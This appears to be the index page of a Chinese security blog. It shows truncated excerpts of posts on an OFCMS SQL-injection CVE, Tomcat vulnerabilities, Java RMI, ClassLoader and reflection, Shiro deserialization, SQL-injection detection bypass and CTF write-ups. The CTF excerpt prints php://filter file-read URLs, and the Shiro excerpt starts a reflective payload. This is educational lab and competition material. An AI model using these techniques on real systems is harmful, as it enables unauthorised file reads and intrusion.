CVE-2019-9625分析
CVE-2019-9615分析这是一个OFCMS的Sql注入漏洞 OFCMS是基于Java技术的内容管理系统,在v1.1.3之前的OFCMS中发现了一个问题,在admin / system / generate / create?sql =路径可以进行SQL注入,与SystemGenerateController.java文件相关 但总的来说这个漏洞还是比较的鸡肋,前提是得进入到后台 下面来进行一些分析和复现 环境搭建先去gitee把源码搞下来,整一个v1.1.2版本的 https://gitee.com/oufu/ofcms/releases 直接用idea打开项目就好了(高版本的是这样的) 然后再ofcms-admin/src/main/resources/dev/conf/文件夹下打开db.properties,修改数据包的账号密码 修改根目录下的pom.xml,搜索mysql,然后修改成自己机器上装的版本,然后点击import changes 然后就是下载所需要的jar包 先右键这个ofcms项目的文件夹然后点这个Maven -> Reimport 点击run -> ...
2024护网面试题(蓝队更新中)
2024护网面试记录(蓝队更新中)宁云志面试记录 了解过中间件漏洞吗 apache tomcat 文件上传(CVE-2017-12615) 影响版本: Apache Tomcat 7.0.0 – 7.0.81 前提是Tomcat开启了HTTP PUT请求 漏洞原理: Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的.JSP文件。之后JSP文件中的代码将能被服务器执行。 文件包含(CVE-2020-1938) 影响版本: Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31 漏洞原理:Tomcat配置了两个连接,它们分别是HTTP和AJP:HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理AJP协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP ...
RMI小记
RMI小记这期主要就是通过debug,一步步调试来找到RMI的反序列化点,并了解RMI的具体流程。 这部分我是看组长的视频学的,看了两三遍了。下面是视频的网址 https://www.bilibili.com/video/BV1L3411a7ax?p=2&vd_source=6a92aae104751f5bc065a281b15c4fcb 下面是要用到的class 服务端下面是服务端要用到的代码 123456789101112131415161718192021222324252627282930313233343536373839// testRMIServer.javaimport java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class testRMIServer { public static void main(S ...
浅谈RMI
RMI小记RMI(Remote Method Invocation)也就是远程方法调用,他的目标与RPC(Remote Call Protocol)远程过程调用协议类似,让某个java虚拟机上的对象调用另一个java虚拟机中对象上的方法,只是RMI是Java独有的一种机制。 在网络传输的过程中,RMI中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。 在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点 先来看看下面这个RMI架构: RMI的组成RMI主要分为三个部分: Client客户端:客户端调用服务端的方法 Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果 Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用 RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样 唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端 为了屏蔽网络通信的复杂性,RM ...
2023年度总结
2023年度总结这一年感觉学了挺多东西但又感觉没怎么学。 参加了Hacking Group 0571A的线下沙龙,学了些关于RASP还有免杀的小寄巧。 学了些奇奇怪怪杂七杂八的东西,总感觉这一年荒废了很多时间。若是有一个师傅可以带我学安全就好了,哈哈。算了,相信开源的资料还有那么多师傅的文档应该够我用了。 之后会慢慢更新javasec的文档,可能偶尔会有一些云安全的东西。要好好补开发基础了。 这一年,可能也是我情绪波动最大的一年吧,暑假找到了我的女朋友,但是因为某些原因这个暑假跟我分了手同时患上了双相情绪障碍。不过寒假我们又在一起了,并正式确定了关系,希望这次可以一直走下去,我也会好好陪着她,治好她的双相。 最后谢谢肖鹿的扮演者邹佳佳,谢谢你在我迷茫的时候通过肖鹿这个角色走进了我的生活。24群骑士团会一直守护着佳佳。 师傅们,新年快乐。
RWCTF-Web-Old_Shiro复现
RWCTF-Web-Old_Shiro复现当时做这题的时候shiro-tools一把梭没梭出来,没考虑到他不出网不能反弹shell,没好好看docker-compose文件(悲)。 先把key爆破了 这里就拿到key了 然后我们看配置文件,有限制header的长度 123# application.propertiesserver.max-http-header-size = 3000server.port=8888 那么就得缩小我们的payload,可以看看这篇文章=>终极Java反序列化Payload缩小技术 因为不出网所以可以尝试直接读取根目录下的flag 123456Object attr = java.lang.Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes", new java.lang.Class[ ]{}).invoke(nu ...
闲谈ClassLoader
闲谈ClassLoader总算放假了,摆了几天,幻兽帕鲁真上头(x。RWctf的那道shiro凹了半天反弹shell没成功是我没想到的,还是菜了。这篇文章就来讲讲Java的类加载机制吧,类加载机制之前在反射机制那篇文章里提到过,这次就来详细说说。 Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例 我们先来看一下JVM的架构图 ClassLoader的具体作用就是将class文件加载到jvm虚拟机中去,程序就可以正确运行了。但是,jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载。 Java类先来简单了解下Java类 接下来我们自己写一个测试类 123456package com.deicide.sec.classloader;public class TestHelloWorl ...
浅谈Java反射机制
浅谈Java反射机制这篇文章算是我做javasec的开始吧,这也是我学习P牛的Java安全漫谈以及Java Web 安全的文档的第一篇笔记,下一篇应该得到寒假写了,要期末周了,有点痛苦。 Java反射(Reflection)是Java非常重要且好玩的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。 反射机制原理在Java 程序中,JVM 加载完一个类后,在堆内存中就会产生该类的一个 Class 对象,一个类在堆内存中最多只会有一个 Class 对象,这个Class 对象包含了该类的完整结构信息,我们通过这个 Class 对象便可以得到该类的完整结构信息。 反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。 反射机制原理示意图👇 那么如果我给出下面这段代码,在你不知道传入的参数值的时候,你能知道他的作用吗 1234public void execute(String class ...
SQL注入补充
SQL注入补充好久没写文章了,主要是最近在学java开发,也不知道记录些啥。 上周六(2023.11.11)去参加HackingGroup的一个闭门会议,有师傅讲到一个关于绕过语义分析的好玩的东西,就来记录(转载)一下 原文链接 => 安全研究所 | 突破语义分析的黑魔法 语义/词法分析词法分析目前,SQL注入的词法分析主流可以分为两类: 基于弱规则词法黑名单 基于此法Token变化 其中基于弱规则词法黑名单的算法有被用于大家熟知的 Libinjection ,它使用基于机器学习的技术,通过分析输入字符串的语法和语义特征来检测SQL注入攻击。主要是通过将用户的输入进行Token化,然后再去匹配一份维护好了的SQL注入黑名单规则库,从而有效发现SQL注入问题。 各种输入的对应词法如下: 123456789101112131415161718192021222324252627282930typedef enum { TYPE_NONE = 0 , TYPE_KEYWORD = (int)'k' , TYPE ...
SICTF2023_Round2_WP_By_D3ic1de
WebInclude挺简单的一个文件包含,没啥过滤的,直接来 题目描述中说flag位于flag.php,直接 1http://ip:port/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php base64解密之后得到flag.php的源码 12345678<?php$file_path = "/flag";if (file_exists($file_path)) { $flag = file_get_contents($file_path);}else{ echo "error";} 发现真正的flag在/flag下 1http://ip:port/?SICTF=php://filter/read=convert.base64-encode/resource=/flag base64解码,拿到flag Baby_PHP这题考了些php的语言特性 1http://ip:port/?k%20e%20y=123%0A ...